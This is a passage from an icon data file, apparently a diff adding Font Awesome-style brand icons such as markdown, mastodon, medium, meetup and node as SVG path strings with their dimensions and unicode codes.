78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"], + "markdown": [640, 512, [], "f60f", "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"], + "mastodon": [448, 512, [], "f4f6", "M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.54 102.54 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5zm-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"], + "maxcdn": [512, 512, [], "f136", "M461.1 442.7h-97.4L415.6 200c2.3-10.2.9-19.5-4.4-25.7-5-6.1-13.7-9.6-24.2-9.6h-49.3l-59.5 278h-97.4l59.5-278h-83.4l-59.5 278H0l59.5-278-44.6-95.4H387c39.4 0 75.3 16.3 98.3 44.9 23.3 28.6 31.8 67.4 23.6 105.9l-47.8 222.6z"], + "mdb": [576, 512, [], "f8ca", "M17.37 160.41L7 352h43.91l5.59-79.83L84.43 352h44.71l25.54-77.43 4.79 77.43H205l-12.79-191.59H146.7L106 277.74 63.67 160.41zm281 0h-47.9V352h47.9s95 .8 94.2-95.79c-.78-94.21-94.18-95.78-94.18-95.78zm-1.2 146.46V204.78s46 4.27 46.8 50.57-46.78 51.54-46.78 51.54zm238.29-74.24a56.16 56.16 0 0 0 8-38.31c-5.34-35.76-55.08-34.32-55.08-34.32h-51.9v191.58H482s87 4.79 87-63.85c0-43.14-33.52-55.08-33.52-55.08zm-51.9-31.94s13.57-1.59 16 9.59c1.43 6.66-4 12-4 12h-12v-21.57zm-.1 109.46l.1-24.92V267h.08s41.58-4.73 41.19 22.43c-.33 25.65-41.35 20.74-41.35 20.74z"], + "medapps": [320, 512, [], "f3c6", "M118.3 238.4c3.5-12.5 6.9-33.6 13.2-33.6 8.3 1.8 9.6 23.4 18.6 36.6 4.6-23.5 5.3-85.1 14.1-86.7 9-.7 19.7 66.5 22 77.5 9.9 4.1 48.9 6.6 48.9 6.6 1.9 7.3-24 7.6-40 7.8-4.6 14.8-5.4 27.7-11.4 28-4.7.2-8.2-28.8-17.5-49.6l-9.4 65.5c-4.4 13-15.5-22.5-21.9-39.3-3.3-.1-62.4-1.6-47.6-7.8l31-5zM228 448c21.2 0 21.2-32 0-32H92c-21.2 0-21.2 32 0 32h136zm-24 64c21.2 0 21.2-32 0-32h-88c-21.2 0-21.2 32 0 32h88zm34.2-141.5c3.2-18.9 5.2-36.4 11.9-48.8 7.9-14.7 16.1-28.1 24-41 24.6-40.4 45.9-75.2 45.9-125.5C320 69.6 248.2 0 160 0S0 69.6 0 155.2c0 50.2 21.3 85.1 45.9 125.5 7.9 12.9 16 26.3 24 41 6.7 12.5 8.7 29.8 11.9 48.9 3.5 21 36.1 15.7 32.6-5.1-3.6-21.7-5.6-40.7-15.3-58.6C66.5 246.5 33 211.3 33 155.2 33 87.3 90 32 160 32s127 55.3 127 123.2c0 56.1-33.5 91.3-66.1 151.6-9.7 18-11.7 37.4-15.3 58.6-3.4 20.6 29 26.4 32.6 5.1z"], + "medium": [448, 512, [], "f23a", "M0 32v448h448V32H0zm372.2 106.1l-24 23c-2.1 1.6-3.1 4.2-2.7 6.7v169.3c-.4 2.6.6 5.2 2.7 6.7l23.5 23v5.1h-118V367l24.3-23.6c2.4-2.4 2.4-3.1 2.4-6.7V199.8l-67.6 171.6h-9.1L125 199.8v115c-.7 4.8 1 9.7 4.4 13.2l31.6 38.3v5.1H71.2v-5.1l31.6-38.3c3.4-3.5 4.9-8.4 4.1-13.2v-133c.4-3.7-1-7.3-3.8-9.8L75 138.1V133h87.3l67.4 148L289 133.1h83.2v5z"], + "medium-m": [512, 512, [], "f3c7", "M71.5 142.3c.6-5.9-1.7-11.8-6.1-15.8L20.3 72.1V64h140.2l108.4 237.7L364.2 64h133.7v8.1l-38.6 37c-3.3 2.5-5 6.7-4.3 10.8v272c-.7 4.1 1 8.3 4.3 10.8l37.7 37v8.1H307.3v-8.1l39.1-37.9c3.8-3.8 3.8-5 3.8-10.8V171.2L241.5 447.1h-14.7L100.4 171.2v184.9c-1.1 7.8 1.5 15.6 7 21.2l50.8 61.6v8.1h-144v-8L65 377.3c5.4-5.6 7.9-13.5 6.5-21.2V142.3z"], + "medrt": [544, 512, [], "f3c8", "M113.7 256c0 121.8 83.9 222.8 193.5 241.1-18.7 4.5-38.2 6.9-58.2 6.9C111.4 504 0 393 0 256S111.4 8 248.9 8c20.1 0 39.6 2.4 58.2 6.9C197.5 33.2 113.7 134.2 113.7 256m297.4 100.3c-77.7 55.4-179.6 47.5-240.4-14.6 5.5 14.1 12.7 27.7 21.7 40.5 61.6 88.2 182.4 109.3 269.7 47 87.3-62.3 108.1-184.3 46.5-272.6-9-12.9-19.3-24.3-30.5-34.2 37.4 78.8 10.7 178.5-67 233.9m-218.8-244c-1.4 1-2.7 2.1-4 3.1 64.3-17.8 135.9 4 178.9 60.5 35.7 47 42.9 106.6 24.4 158 56.7-56.2 67.6-142.1 22.3-201.8-50-65.5-149.1-74.4-221.6-19.8M296 224c-4.4 0-8-3.6-8-8v-40c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v40c0 4.4-3.6 8-8 8h-40c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h40c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h40c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8h-40z"], + "meetup": [512, 512, [], "f2e0", "M99 414.3c1.1 5.7-2.3 11.1-8 12.3-5.4 1.1-10.9-2.3-12-8-1.1-5.4 2.3-11.1 7.7-12.3 5.4-1.2 11.1 2.3 12.3 8zm143.1 71.4c-6.3 4.6-8 13.4-3.7 20 4.6 6.6 13.4 8.3 20 3.7 6.3-4.6 8-13.4 3.4-20-4.2-6.5-13.1-8.3-19.7-3.7zm-86-462.3c6.3-1.4 10.3-7.7 8.9-14-1.1-6.6-7.4-10.6-13.7-9.1-6.3 1.4-10.3 7.7-9.1 14 1.4 6.6 7.6 10.6 13.9 9.1zM34.4 226.3c-10-6.9-23.7-4.3-30.6 6-6.9 10-4.3 24 5.7 30.9 10 7.1 23.7 4.6 30.6-5.7 6.9-10.4 4.3-24.1-5.7-31.2zm272-170.9c10.6-6.3 13.7-20 7.7-30.3-6.3-10.6-19.7-14-30-7.7s-13.7 20-7.4 30.6c6 10.3 19.4 13.7 29.7 7.4zm-191.1 58c7.7-5.4 9.4-16 4.3-23.7s-15.7-9.4-23.1-4.3c-7.7 5.4-9.4 16-4.3 23.7 5.1 7.8 15.6 9.5 23.1 4.3zm372.3 156c-7.4 1.7-12.3 9.1-10.6 16.9 1.4 7.4 8.9 12.3 16.3 10.6 7.4-1.4 12.3-8.9 10.6-16.6-1.5-7.4-8.9-12.3-16.3-10.9zm39.7-56.8c-1.1-5.7-6.6-9.1-12-8-5.7 1.1-9.1 6.9-8 12.6 1.1 5.4 6.6 9.1 12.3 8 5.4-1.5 9.1-6.9 7.7-12.6zM447 138.9c-8.6 6-10.6 17.7-4.9 26.3 5.7 8.6 17.4 10.6 26 4.9 8.3-6 10.3-17.7 4.6-26.3-5.7-8.7-17.4-10.9-25.7-4.9zm-6.3 139.4c26.3 43.1 15.1 100-26.3 129.1-17.4 12.3-37.1 17.7-56.9 17.1-12 47.1-69.4 64.6-105.1 32.6-1.1.9-2.6 1.7-3.7 2.9-39.1 27.1-92.3 17.4-119.4-22.3-9.7-14.3-14.6-30.6-15.1-46.9-65.4-10.9-90-94-41.1-139.7-28.3-46.9.6-107.4 53.4-114.9C151.6 70 234.1 38.6 290.1 82c67.4-22.3 136.3 29.4 130.9 101.1 41.1 12.6 52.8 66.9 19.7 95.2zm-70 74.3c-3.1-20.6-40.9-4.6-43.1-27.1-3.1-32 43.7-101.1 40-128-3.4-24-19.4-29.1-33.4-29.4-13.4-.3-16.9 2-21.4 4.6-2.9 1.7-6.6 4.9-11.7-.3-6.3-6-11.1-11.7-19.4-12.9-12.3-2-17.7 2-26.6 9.7-3.4 2.9-12 12.9-20 9.1-3.4-1.7-15.4-7.7-24-11.4-16.3-7.1-40 4.6-48.6 20-12.9 22.9-38 113.1-41.7 125.1-8.6 26.6 10.9 48.6 36.9 47.1 11.1-.6 18.3-4.6 25.4-17.4 4-7.4 41.7-107.7 44.6-112.6 2-3.4 8.9-8 14.6-5.1 5.7 3.1 6.9 9.4 6 15.1-1.1 9.7-28 70.9-28.9 77.7-3.4 22.9 26.9 26.6 38.6 4 3.7-7.1 45.7-92.6 49.4-98.3 4.3-6.3 7.4-8.3 11.7-8 3.1 0 8.3.9 7.1 10.9-1.4 9.4-35.1 72.3-38.9 87.7-4.6 20.6 6.6 41.4 24.9 50.6 11.4 5.7 62.5 15.7 58.5-11.1zm5.7 92.3c-10.3 7.4-12.9 22-5.7 32.6 7.1 10.6 21.4 13.1 32 6 10.6-7.4 13.1-22 6-32.6-7.4-10.6-21.7-13.5-32.3-6z"], + "megaport": [496, 512, [], "f5a3", "M214.5 209.6v66.2l33.5 33.5 33.3-33.3v-66.4l-33.4-33.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm145.1 414.4L367 441.6l-26-19.2v-65.5l-33.4-33.4-33.4 33.4v65.5L248 441.6l-26.1-19.2v-65.5l-33.4-33.4-33.5 33.4v65.5l-26.1 19.2-26.1-19.2v-87l59.5-59.5V188l59.5-59.5V52.9l26.1-19.2L274 52.9v75.6l59.5 59.5v87.6l59.7 59.7v87.1z"], + "mendeley": [640, 512, [], "f7b3", "M624.6 325.2c-12.3-12.4-29.7-19.2-48.4-17.2-43.3-1-49.7-34.9-37.5-98.8 22.8-57.5-14.9-131.5-87.4-130.8-77.4.7-81.7 82-130.9 82-48.1 0-54-81.3-130.9-82-72.9-.8-110.1 73.3-87.4 130.8 12.2 63.9 5.8 97.8-37.5 98.8-21.2-2.3-37 6.5-53 22.5-19.9 19.7-19.3 94.8 42.6 102.6 47.1 5.9 81.6-42.9 61.2-87.8-47.3-103.7 185.9-106.1 146.5-8.2-.1.1-.2.2-.3.4-26.8 42.8 6.8 97.4 58.8 95.2 52.1 2.1 85.4-52.6 58.8-95.2-.1-.2-.2-.3-.3-.4-39.4-97.9 193.8-95.5 146.5 8.2-4.6 10-6.7 21.3-5.7 33 4.9 53.4 68.7 74.1 104.9 35.2 17.8-14.8 23.1-65.6 0-88.3zm-303.9-19.1h-.6c-43.4 0-62.8-37.5-62.8-62.8 0-34.7 28.2-62.8 62.8-62.8h.6c34.7 0 62.8 28.1 62.8 62.8 0 25-19.2 62.8-62.8 62.8z"], + "microblog": [448, 512, [], "e01a", "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"], + "microsoft": [448, 512, [], "f3ca", "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"], + "mix": [448, 512, [], "f3cb", "M0 64v348.9c0 56.2 88 58.1 88 0V174.3c7.9-52.9 88-50.4 88 6.5v175.3c0 57.9 96 58 96 0V240c5.3-54.7 88-52.5 88 4.3v23.8c0 59.9 88 56.6 88 0V64H0z"], + "mixcloud": [640, 512, [], "f289", "M424.43 219.729C416.124 134.727 344.135 68 256.919 68c-72.266 0-136.224 46.516-159.205 114.074-54.545 8.029-96.63 54.822-96.63 111.582 0 62.298 50.668 112.966 113.243 112.966h289.614c52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74.48-92.2zm-20.489 144.53H114.327c-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.548 7.475 49.838 20.766 19.963 19.963 50.133-10.227 30.18-30.18-14.675-14.398-32.672-24.365-52.053-29.349 19.935-44.3 64.79-73.926 114.628-73.926 69.496 0 125.979 56.483 125.979 125.702 0 13.568-2.215 26.857-6.369 39.594-8.943 27.517 32.133 38.939 40.147 13.29 2.769-8.306 4.984-16.889 6.369-25.472 19.381 7.476 33.502 26.303 33.502 48.453 0 28.795-23.535 52.33-52.607 52.33zm235.069-52.33c0 44.024-12.737 86.386-37.102 122.657-4.153 6.092-10.798 9.414-17.72 9.414-16.317 0-27.127-18.826-17.443-32.949 19.381-29.349 29.903-63.682 29.903-99.122s-10.521-69.773-29.903-98.845c-15.655-22.831 19.361-47.24 35.163-23.534 24.366 35.993 37.102 78.356 37.102 122.379zm-70.88 0c0 31.565-9.137 62.021-26.857 88.325-4.153 6.091-10.798 9.136-17.72 9.136-17.201 0-27.022-18.979-17.443-32.948 13.013-19.104 19.658-41.255 19.658-64.513 0-22.981-6.645-45.408-19.658-64.512-15.761-22.986 19.008-47.095 35.163-23.535 17.719 26.026 26.857 56.483 26.857 88.047z"], + "mixer": [512, 512, [], "e056", "M114.57,76.07a45.71,45.71,0,0,0-67.51-6.41c-17.58,16.18-19,43.52-4.75,62.77l91.78,123L41.76,379.58c-14.23,19.25-13.11,46.59,4.74,62.77A45.71,45.71,0,0,0,114,435.94L242.89,262.7a12.14,12.14,0,0,0,0-14.23ZM470.24,379.58,377.91,255.45l91.78-123c14.22-19.25,12.83-46.59-4.75-62.77a45.71,45.71,0,0,0-67.51,6.41l-128,172.12a12.14,12.14,0,0,0,0,14.23L398,435.94a45.71,45.71,0,0,0,67.51,6.41C483.35,426.17,484.47,398.83,470.24,379.58Z"], + "mizuni": [496, 512, [], "f3cc", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm-80 351.9c-31.4 10.6-58.8 27.3-80 48.2V136c0-22.1 17.9-40 40-40s40 17.9 40 40v223.9zm120-9.9c-12.9-2-26.2-3.1-39.8-3.1-13.8 0-27.2 1.1-40.2 3.1V136c0-22.1 17.9-40 40-40s40 17.9 40 40v214zm120 57.7c-21.2-20.8-48.6-37.4-80-48V136c0-22.1 17.9-40 40-40s40 17.9 40 40v271.7z"], + "modx": [448, 512, [], "f285", "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"], + "monero": [496, 512, [], "f3d0", "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"], + "napster": [496, 512, [], "f3d2", "M298.3 373.6c-14.2 13.6-31.3 24.1-50.4 30.5-19-6.4-36.2-16.9-50.3-30.5h100.7zm44-199.6c20-16.9 43.6-29.2 69.6-36.2V299c0 219.4-328 217.6-328 .3V137.7c25.9 6.9 49.6 19.6 69.5 36.4 56.8-40 132.5-39.9 188.9-.1zm-208.8-58.5c64.4-60 164.3-60.1 228.9-.2-7.1 3.5-13.9 7.3-20.6 11.5-58.7-30.5-129.2-30.4-187.9.1-6.3-4-13.9-8.2-20.4-11.4zM43.8 93.2v69.3c-58.4 36.5-58.4 121.1.1 158.3 26.4 245.1 381.7 240.3 407.6 1.5l.3-1.7c58.7-36.3 58.9-121.7.2-158.2V93.2c-17.3.5-34 3-50.1 7.4-82-91.5-225.5-91.5-307.5.1-16.3-4.4-33.1-7-50.6-7.5zM259.2 352s36-.3 61.3-1.5c10.2-.5 21.1-4 25.5-6.5 26.3-15.1 25.4-39.2 26.2-47.4-79.5-.6-99.9-3.9-113 55.4zm-135.5-55.3c.8 8.2-.1 32.3 26.2 47.4 4.4 2.5 15.2 6 25.5 6.5 25.3 1.1 61.3 1.5 61.3 1.5-13.2-59.4-33.7-56.1-113-55.4zm169.1 123.4c-3.2-5.3-6.9-7.3-6.9-7.3-24.8 7.3-52.2 6.9-75.9 0 0 0-2.9 1.5-6.4 6.6-2.8 4.1-3.7 9.6-3.7 9.6 29.1 17.6 67.1 17.6 96.2 0-.1-.1-.3-4-3.3-8.9z"], + "neos": [512, 512, [], "f612", "M415.44 512h-95.11L212.12 357.46v91.1L125.69 512H28V29.82L68.47 0h108.05l123.74 176.13V63.45L386.69 0h97.69v461.5zM38.77 35.27V496l72-52.88V194l215.5 307.64h84.79l52.35-38.17h-78.27L69 13zm82.54 466.61l80-58.78v-101l-79.76-114.4v220.94L49 501.89h72.34zM80.63 10.77l310.6 442.57h82.37V10.77h-79.75v317.56L170.91 10.77zM311 191.65l72 102.81V15.93l-72 53v122.72z"], + "nimblr": [384, 512, [], "f5a8", "M246.6 299.29c15.57 0 27.15 11.46 27.15 27s-11.62 27-27.15 27c-15.7 0-27.15-11.57-27.15-27s11.55-27 27.15-27zM113 326.25c0-15.61 11.68-27 27.15-27s27.15 11.46 27.15 27-11.47 27-27.15 27c-15.44 0-27.15-11.31-27.15-27M191.76 159C157 159 89.45 178.77 59.25 227L14 0v335.48C14 433.13 93.61 512 191.76 512s177.76-78.95 177.76-176.52S290.13 159 191.76 159zm0 308.12c-73.27 0-132.51-58.9-132.51-131.59s59.24-131.59 132.51-131.59 132.51 58.86 132.51 131.54S265 467.07 191.76 467.07z"], + "node": [640, 512, [], "f419", "M316.3 452c-2.1 0-4.2-.6-6.1-1.6L291 439c-2.9-1.6-1.5-2.2-.5-2.5 3.8-1.3 4.6-1.6 8.7-4 .4-.2 1-.1 1.4.1l14.8 8.8c.5.3 1.3.3 1.8 0L375 408c.5-.3.9-.9.9-1.6v-66.7c0-.7-.3-1.3-.9-1.6l-57.8-33.3c-.5-.3-1.2-.3-1.8 0l-57.8 33.3c-.6.3-.9 1-.9 1.6v66.7c0 .6.4 1.2.9 1.5l15.8 9.1c8.6 4.3 13.9-.8 13.9-5.8v-65.9c0-.9.7-1.7 1.7-1.7h7.3c.9 0 1.7.7 1.7 1.7v65.9c0 11.5-6.2 18-17.1 18-3.3 0-6 0-13.3-3.6l-15.2-8.7c-3.7-2.2-6.1-6.2-6.1-10.5v-66.7c0-4.3 2.3-8.4 6.1-10.5l57.8-33.4c3.7-2.1 8.5-2.1 12.1 0l57.8 33.4c3.7 2.2 6.1 6.2 6.1 10.5v66.7c0 4.3-2.3 8.4-6.1 10.5l-57.8 33.4c-1.7 1.1-3.8 1.7-6 1.7zm46.7-65.8c0-12.5-8.4-15.8-26.2-18.2-18-2.4-19.8-3.6-19.8-7.8 0-3.5 1.5-8.1 14.8-8.1 11.9 0 16.3 2.6 18.1 10.6.2.8.8 1.3 1.6 1.3h7.5c.5 0 .9-.2 1.2-.5.3-.4.5-.8.4-1.3-1.2-13.8-10.3-20.2-28.8-20.2-16.5 0-26.3 7-26.3 18.6 0 12.7 9.8 16.1 25.6 17.7 18.9 1.9 20.4 4.6 20.4 8.3 0 6.5-5.2 9.2-17.4 9.2-15.3 0-18.7-3.8-19.8-11.4-.1-.8-.8-1.4-1.7-1.4h-7.5c-.9 0-1.7.7-1.7 1.7 0 9.7 5.3 21.3 30.6 21.3 18.5 0 29-7.2 29-19.8zm54.5-50.1c0 6.1-5 11.1-11.1 11.1s-11.1-5-11.1-11.1c0-6.3 5.2-11.1 11.1-11.1 6-.1 11.1 4.8 11.1 11.1zm-1.8 0c0-5.2-4.2-9.3-9.4-9.3-5.1 0-9.3 4.1-9.3 9.3 0 5.2 4.2 9.4 9.3 9.4 5.2-.1 9.4-4.3 9.4-9.4zm-4.5 6.2h-2.6c-.1-.6-.5-3.8-.5-3.9-.2-.7-.4-1.1-1.3-1.1h-2.2v5h-2.4v-12.5h4.3c1.5 0 4.4 0 4.4 3.3 0 2.3-1.5 2.8-2.4 3.1 1.7.1 1.8 1.2 2.1 2.8.1 1 .3 2.7.6 3.3zm-2.8-8.8c0-1.7-1.2-1.7-1.8-1.7h-2v3.5h1.9c1.6 0 1.9-1.1 1.9-1.8zM137.3 191c0-2.7-1.4-5.1-3.7-6.4l-61.3-35.3c-1-.6-2.2-.9-3.4-1h-.6c-1.2 0-2.3.4-3.4 1L3.7 184.6C1.4 185.9 0 188.4 0 191l.1 95c0 1.3.7 2.5 1.8 3.2 1.1.7 2.5.7 3.7 0L42 268.3c2.3-1.4 3.7-3.8 3.7-6.4v-44.4c0-2.6 1.4-5.1 3.7-6.4l15.5-8.9c1.2-.7 2.4-1 3.7-1 1.3 0 2.6.3 3.7 1l15.5 8.9c2.3 1.3 3.7 3.8 3.7 6.4v44.4c0 2.6 1.4 5.1 3.7 6.4l36.4 20.9c1.1.7 2.6.7 3.7 0 1.1-.6 1.8-1.9 1.8-3.2l.2-95zM472.5 87.3v176.4c0 2.6-1.4 5.1-3.7 6.4l-61.3 35.4c-2.3 1.3-5.1 1.3-7.4 0l-61.3-35.4c-2.3-1.3-3.7-3.8-3.7-6.4v-70.8c0-2.6 1.4-5.1 3.7-6.4l61.3-35.4c2.3-1.3 5.1-1.3 7.4 0l15.3 8.8c1.7 1 3.9-.3 3.9-2.2v-94c0-2.8 3-4.6 5.5-3.2l36.5 20.4c2.3 1.2 3.8 3.7 3.8 6.4zm-46 128.9c0-.7-.4-1.3-.9-1.6l-21-12.2c-.6-.3-1.3-.3-1.9 0l-21 12.2c-.6.3-.9.9-.9 1.6v24.3c0 .7.4 1.3.9 1.6l21 12.1c.6.3 1.3.3 1.8 0l21-12.1c.6-.3.9-.9.9-1.6v-24.3zm209.8-.7c2.3-1.3 3.7-3.8 3.7-6.4V192c0-2.6-1.4-5.1-3.7-6.4l-60.9-35.4c-2.3-1.3-5.1-1.3-7.4 0l-61.3 35.4c-2.3 1.3-3.7 3.8-3.7 6.4v70.8c0 2.7 1.4 5.1 3.7 6.4l60.9 34.7c2.2 1.3 5 1.3 7.3 0l36.8-20.5c2.5-1.4 2.5-5 0-6.4L550 241.6c-1.2-.7-1.9-1.9-1.9-3.2v-22.2c0-1.3.7-2.5 1.9-3.2l19.2-11.1c1.1-.7 2.6-.7 3.7 0l19.2 11.1c1.1.7 1.9 1.9 1.9 3.2v17.4c0 2.8 3.1 4.6 5.6 3.2l36.7-21.3zM559 219c-.4.3-.7.7-.7 1.2v13.6c0 .5.3 1 .7 1.2l11.8 6.8c.4.3 1 .3 1.4 0L584 235c.4-.3.7-.7.7-1.2v-13.6c0-.5-.3-1-.7-1.2l-11.8-6.8c-.4-.3-1-.3-1.4 0L559 219zm-254.2 43.5v-70.4c0-2.6-1.6-5.1-3.9-6.4l-61.1-35.2c-2.1-1.2-5-1.4-7.4 0l-61.1 35.2c-2.3 1.3-3.9 3.7-3.9 6.4v70.4c0 2.8 1.9 5.2 4 6.4l61.2 35.2c2.4 1.4 